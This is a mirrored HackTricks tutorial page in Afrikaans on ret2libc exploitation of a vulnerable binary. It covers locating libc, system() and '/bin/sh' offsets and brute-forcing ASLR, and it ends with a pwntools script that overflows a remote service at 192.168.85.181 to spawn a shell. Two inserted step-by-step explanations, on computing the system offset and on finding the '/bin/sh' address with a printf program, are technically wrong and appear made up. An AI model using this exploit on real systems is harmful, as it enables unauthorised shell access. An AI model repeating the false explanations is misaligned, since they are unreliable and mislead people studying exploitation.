mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
140 lines
5.8 KiB
Markdown
140 lines
5.8 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
|
|
|
</details>
|
|
|
|
|
|
**As jy 'n kwesbare binêre lêer gevind het en jy dink jy kan dit uitbuit deur Ret2Lib te gebruik, kan jy hierdie basiese stappe volg.**
|
|
|
|
# As jy **binne** die **gasheer** is
|
|
|
|
## Jy kan die **adres van lib**c vind
|
|
```bash
|
|
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
|
```
|
|
As jy wil nagaan of die ASLR die adres van libc verander, kan jy die volgende doen:
|
|
```bash
|
|
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
|
```
|
|
## Kry die verskuiwing van die stelsel funksie
|
|
|
|
Om die verskuiwing van die stelsel funksie te kry, kan jy die volgende stappe volg:
|
|
|
|
1. Identifiseer 'n funksie in die teikenprogram wat 'n biblioteekfunksie aanroep, soos `system()`.
|
|
2. Kry die adres van die funksie in die biblioteek. Dit kan gedoen word deur die program te ontleder of deur gebruik te maak van 'n hulpmiddel soos `objdump`.
|
|
3. Identifiseer 'n plek in die program se geheue waar jy 'n string kan plaas wat die pad na die biblioteek bevat. Dit kan 'n argument wees wat deur die funksie aanvaar word, of 'n ander plek in die geheue waar jy toegang tot het.
|
|
4. Bereken die verskuiwing deur die adres van die funksie in die biblioteek af te trek van die adres van die string in die geheue.
|
|
|
|
Hier is 'n voorbeeld van hoe jy die verskuiwing kan bereken:
|
|
|
|
```python
|
|
# Voorbeeld Python-kode
|
|
adres_van_stelsel_funksie = 0x12345678
|
|
adres_van_string = 0xabcdef01
|
|
|
|
verskuiwing = adres_van_stelsel_funksie - adres_van_string
|
|
print(f"Verskuiwing: {verskuiwing}")
|
|
```
|
|
|
|
Onthou dat die spesifieke waardes van die adresse sal verskil vir elke program en stelsel. Jy sal die korrekte adresse vir jou teikenprogram moet vind en die berekening dienooreenkomstig aanpas.
|
|
```bash
|
|
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
|
```
|
|
## Kry die offset van "/bin/sh"
|
|
|
|
Om die offset van die `"/bin/sh"` string te kry, kan jy die volgende stappe volg:
|
|
|
|
1. Skryf 'n eenvoudige C-program wat die `"/bin/sh"` string bevat.
|
|
2. Kompileer die program sonder enige optimalisering.
|
|
3. Voer die program uit en onthou die geheue-adres van die `"/bin/sh"` string.
|
|
4. Gebruik die geheue-adres om die offset te bereken.
|
|
|
|
Hier is 'n voorbeeld van hoe jy dit kan doen:
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
printf("/bin/sh\n");
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
Kompileer die program met die volgende opdrag:
|
|
|
|
```bash
|
|
gcc -o binsh binsh.c
|
|
```
|
|
|
|
Voer die program uit en onthou die geheue-adres van die `"/bin/sh"` string:
|
|
|
|
```bash
|
|
./binsh
|
|
```
|
|
|
|
Die geheue-adres sal in die uitset verskyn. Gebruik hierdie adres om die offset te bereken.
|
|
```bash
|
|
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
|
```
|
|
## /proc/\<PID>/maps
|
|
|
|
As die proses elke keer as jy daarmee praat (netwerkbediener) **kinders skep**, probeer om daardie lêer te **lees** (jy sal waarskynlik root moet wees).
|
|
|
|
Hier kan jy **presies sien waar die libc gelaai word** binne die proses en **waar dit gelaai gaan word** vir elke kind van die proses.
|
|
|
|
![](<../../.gitbook/assets/image (95).png>)
|
|
|
|
In hierdie geval word dit gelaai by **0xb75dc000** (Dit sal die basisadres van libc wees)
|
|
|
|
## Gebruik gdb-peda
|
|
|
|
Kry die adres van die **system**-funksie, die **exit**-funksie en die string **"/bin/sh"** met behulp van gdb-peda:
|
|
```
|
|
p system
|
|
p exit
|
|
find "/bin/sh"
|
|
```
|
|
# Om ASLR te omseil
|
|
|
|
Jy kan probeer om die basisadres van libc te bruteforce.
|
|
```python
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
```
|
|
# Kode
|
|
```python
|
|
from pwn import *
|
|
|
|
c = remote('192.168.85.181',20002)
|
|
c.recvline() #Banner
|
|
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
p = ""
|
|
p += p32(off + 0x0003cb20) #system
|
|
p += "CCCC" #GARBAGE
|
|
p += p32(off + 0x001388da) #/bin/sh
|
|
payload = 'A'*0x20010 + p
|
|
c.send(payload)
|
|
c.interactive() #?
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
|
|
|
</details>
|